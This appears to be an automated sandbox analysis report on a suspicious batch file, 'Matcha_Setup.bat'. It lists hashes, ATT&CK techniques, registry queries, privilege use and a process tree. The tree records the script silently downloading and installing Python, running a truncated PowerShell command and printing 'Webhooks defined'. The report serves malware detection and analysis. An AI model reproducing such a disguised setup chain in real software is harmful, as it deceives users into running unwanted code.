b1747217159b66ecb824210152887defc7930ba5f3ffd4874e37c84c259fe9f2

General

Target
Matcha_Setup.bat
Size 11KB
Sample260706-e43wxadv7j
SHA256 b1747217159b66ecb824210152887defc7930ba5f3ffd4874e37c84c259fe9f2
MD5 cfbabe118c9e97677f1cace6506c4d82
SHA1 ede3494fdbb0fa00ca217a6ca4073fa7a77a9d9f
SHA512 e65885124f110f16eade0e0fe38eac6d0c052298cbb6ca7a5880714b9a0a08d112dcd40589497a140bf3595e8187f032c95a64555ee9d10c9859e7966908ec36
SSDEEP 192:e6TrdObe9vhRhY/GrJhl3nAwheclUew0RZs:e6TrdObe4GXHhZlUetq
TLSH
T1E732B4732E108060DACBC59EA90AA0911B07AA3F1A49793D75FC96740F4873755FEEB8
MD5 SHA1 SHA512 SSDEEP TLSH

Score

8^/10

Malware Config

Signatures

Downloads MZ/PE file 1 IoCs

flow	pid	Process
4	4764	curl.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-668679576-120646659-2289335452-1000\Control Panel\International\Geo\Nation	python_installer.exe

Executes dropped EXE 3 IoCs

pid	Process
2064	python_installer.exe
2104	python_installer.exe
2688	python-3.12.0-amd64.exe

Loads dropped DLL 1 IoCs

pid	Process
2104	python_installer.exe

Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
discovery

Query Registry
T1012

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
3760	powershell.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 3 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	python_installer.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	python_installer.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	python-3.12.0-amd64.exe

Checks SCSI registry key(s) 3 TTPs 5 IoCs

SCSI information is often read in order to detect sandboxing environments.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Device Parameters	vssvc.exe
Key queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Device Parameters	vssvc.exe
Key created	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Device Parameters\Partmgr	vssvc.exe
Set value (data)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Device Parameters\Partmgr\PartitionTableCache = 0000000004000000499bfc0d34bfe76b0000000000000000000000000000000000000000000000000000000000000000000000000000000000001000000000000000c01200000000ffffffff000000002701010000080000499bfc0d0000000000001000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000d01200000000000020ed35000000ffffffff000000000700010000680900499bfc0d000000000000d012000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000f0ff350000000000000005000000ffffffff000000000700010000f8ff1a499bfc0d000000000000f0ff350000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000f0ff3a0000000000000005000000ffffffff000000000700010000f87f1d499bfc0d000000000000f0ff3a00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000	vssvc.exe
Set value (data)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Device Parameters\Partmgr\SnapshotDataCache = 534e41505041525401000000700000008ec7416a0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000	vssvc.exe

Suspicious behavior: EnumeratesProcesses 3 IoCs

pid	Process
3760	powershell.exe
3760	powershell.exe
3760	powershell.exe

Suspicious use of AdjustPrivilegeToken 12 IoCs

description	pid	Process
Token: SeBackupPrivilege	2424	vssvc.exe
Token: SeRestorePrivilege	2424	vssvc.exe
Token: SeAuditPrivilege	2424	vssvc.exe
Token: SeDebugPrivilege	3760	powershell.exe
Token: SeBackupPrivilege	4828	srtasks.exe
Token: SeRestorePrivilege	4828	srtasks.exe
Token: SeSecurityPrivilege	4828	srtasks.exe
Token: SeTakeOwnershipPrivilege	4828	srtasks.exe
Token: SeBackupPrivilege	4828	srtasks.exe
Token: SeRestorePrivilege	4828	srtasks.exe
Token: SeSecurityPrivilege	4828	srtasks.exe
Token: SeTakeOwnershipPrivilege	4828	srtasks.exe

Suspicious use of WriteProcessMemory 7 IoCs

description	pid	Process	procid_target
PID 3624 wrote to memory of 4764	3624	cmd.exe	87
PID 3624 wrote to memory of 2064	3624	cmd.exe	89
PID 2064 wrote to memory of 2104	2064	python_installer.exe	90
PID 2104 wrote to memory of 2688	2104	python_installer.exe	91
PID 3624 wrote to memory of 3760	3624	cmd.exe	105
PID 3624 wrote to memory of 4140	3624	cmd.exe	106
PID 3624 wrote to memory of 1660	3624	cmd.exe	107

Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
ransomware

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\Matcha_Setup.bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:3624
- C:\Windows\system32\curl.exe
  curl -o python_installer.exe https://www.python.org/ftp/python/3.12.0/python-3.12.0-amd64.exe
  2⤵
  - Downloads MZ/PE file
  PID:4764
- C:\Users\Admin\AppData\Local\Temp\python_installer.exe
  python_installer.exe /quiet InstallAllUsers=1 PrependPath=1 Include_test=0
  2⤵
  - Executes dropped EXE
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:2064
- - C:\Windows\Temp\{F6D67C0D-D4BF-48CD-AB57-BED0F82984FD}\.cr\python_installer.exe
    "C:\Windows\Temp\{F6D67C0D-D4BF-48CD-AB57-BED0F82984FD}\.cr\python_installer.exe" -burn.clean.room="C:\Users\Admin\AppData\Local\Temp\python_installer.exe" -burn.filehandle.attached=560 -burn.filehandle.self=568 /quiet InstallAllUsers=1 PrependPath=1 Include_test=0
    3⤵
    - Checks computer location settings
    - Executes dropped EXE
    - Loads dropped DLL
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:2104
  - - C:\Windows\Temp\{6D60FFF2-66B6-4A57-9266-05B493308FB5}\.be\python-3.12.0-amd64.exe
      "C:\Windows\Temp\{6D60FFF2-66B6-4A57-9266-05B493308FB5}\.be\python-3.12.0-amd64.exe" -q -burn.elevated BurnPipe.{F6358EC0-90AB-47C5-AC60-E22BD8EEBEBD} {38A7F145-E810-4B62-9FD6-6402C905B699} 2104
      4⤵
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      PID:2688
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -Command @"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:3760
- C:\Windows\system32\print.exe
  print ("[Matcha] Python script started.")
  2⤵
  PID:4140
- C:\Windows\system32\print.exe
  print ("[Matcha] Webhooks defined.")
  2⤵
  PID:1660

C:\Windows\system32\vssvc.exe
C:\Windows\system32\vssvc.exe
1⤵
- Checks SCSI registry key(s)
- Suspicious use of AdjustPrivilegeToken
PID:2424

C:\Windows\system32\srtasks.exe
C:\Windows\system32\srtasks.exe ExecuteScopeRestorePoint /WaitForRestorePoint:2
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:4828

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

1

T1059

PowerShell

1

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Peripheral Device Discovery

Query Registry

System Information Discovery

3

T1082

System Location Discovery

1

T1614

System Language Discovery

1

T1614.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

__PSScriptPolicyTest_51rtbro5.utu.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_51rtbro5.utu.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
TLSH
T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
MD5 SHA1 SHA512 TLSH

Submit Download

python_installer.exe

Path C:\Users\Admin\AppData\Local\Temp\python_installer.exe
Size 25.3MB
SHA256 c6bdf93f4b2de6dfa1a3a847e7c24ae10edf7f6318653d452cd4381415700ada
MD5 32ab6a1058dfbde76951b7aa7c2335a6
SHA1 4182a4c9dc2ca685c0fe01e376982f77593abf80
SHA512 0399a452bb565eddbf4cbe9058be6d0d1ed75e61009a85f51130f97bc75f0b97168543881a25874edbba5418ed23153b1d01f71e2b75ecac52ef52c2de0f9d3e
SSDEEP 786432:NBq40lIOkMNg87H2efKh6HJdOfLo++QRphDQBINQIM9O0fgCzH:Ok0g87WefKh6HJwfLiegG6IV07H
TLSH
T19A473333A8D50166EBB11432B630A632AD6CFE145B90C8ACF7C4BB1E3A714D79773196
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

PythonBA.dll

Path C:\Windows\Temp\{6D60FFF2-66B6-4A57-9266-05B493308FB5}\.ba\PythonBA.dll
Size 674KB
SHA256 12a0bb777cd7ee658394fc3452ba06e715d9328d7f2c2c3ee5b8fbb5c51e661f
MD5 0a0ccca07cc97cd3b02946469379240e
SHA1 0802d171427bea137afc8aac4d9a4b471c3bd7cb
SHA512 ee877e73b835f8c5af18eb047f66b9d704a1cbd598cd50058617f1b65bc4d9b9f54a30d4b1f8eabf911c2ba0dd15ad6b36cfb092a539961dd8c9002b0d5a22d6
SSDEEP 6144:xEEKaxe1tHVjwLqKmlDGH6NmpHx6mI+BoSbGwizRfucj6GOUes1EpO:Kzaxe13w+XGH62Hx7I+BYfucj7qO
TLSH
T191E48D1174808271FDF620BB46BCB63942ADF4B4077499CF1AC85AEBEA605C29F37547
MD5 SHA1 SHA512 SSDEEP TLSH

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SideBar.png

Path C:\Windows\Temp\{6D60FFF2-66B6-4A57-9266-05B493308FB5}\.ba\SideBar.png
Size 50KB
SHA256 79434bd1368f47f08acf6db66638531d386bf15166d78d9bfea4da164c079067
MD5 888eb713a0095756252058c9727e088a
SHA1 c14f69f2bef6bc3e2162b4dd78e9df702d94cdb4
SHA512 7c59f4ada242b19c2299b6789a65a1f34565fed78730c22c904db16a9872fe6a07035c6d46a64ee94501fbcd96de586a8a5303ca22f33da357d455c014820ca0
SSDEEP 1536:/c/aRsg1fYfJt0Bg74nWPMMCNBaeQzxxj8ckBo:UcsgGfP0yCWTAaeyxxjGBo
TLSH
T1F33302E488115E7BCBE33A0615458CEF4EA9215F976C91886971C7CA5842F0CE3FE9D0
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

python_installer.exe

Path C:\Windows\Temp\{F6D67C0D-D4BF-48CD-AB57-BED0F82984FD}\.cr\python_installer.exe
Size 858KB
SHA256 8b670ed69431d112c0786dc4bf8e44a0b42b9f635ee4fbd46c49976837686dbc
MD5 c2cb26b35a28e60c89496481cf488845
SHA1 52e1808b67c16848a865e8fa60dd698e79ad0739
SHA512 eb28325fe4b37f99796ce18d8ddc3bc2f8be2003a94e844397b4361f2f93f5b287530ab98d7ef6117f86788d12e0798bfcea071bb60915a6b1d5b52096d2f115
SSDEEP 24576:O5mWpI2jFM5sFzfTpiBGoND+cSRK2yKPVWqYf9fyo:O5BjBbTpiBbD+c+jdw
TLSH
T11E15AE3265A14072F7F10173BA28D530BE6CAF28275089AEE3D4BD1D7E7849167FB252
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

memory/3760-71-0x000001F338EB0000-0x000001F338ED2000-memory.dmp

Download

memory/3760-81-0x000001F338F30000-0x000001F338F78000-memory.dmp

Download

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v16

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Downloads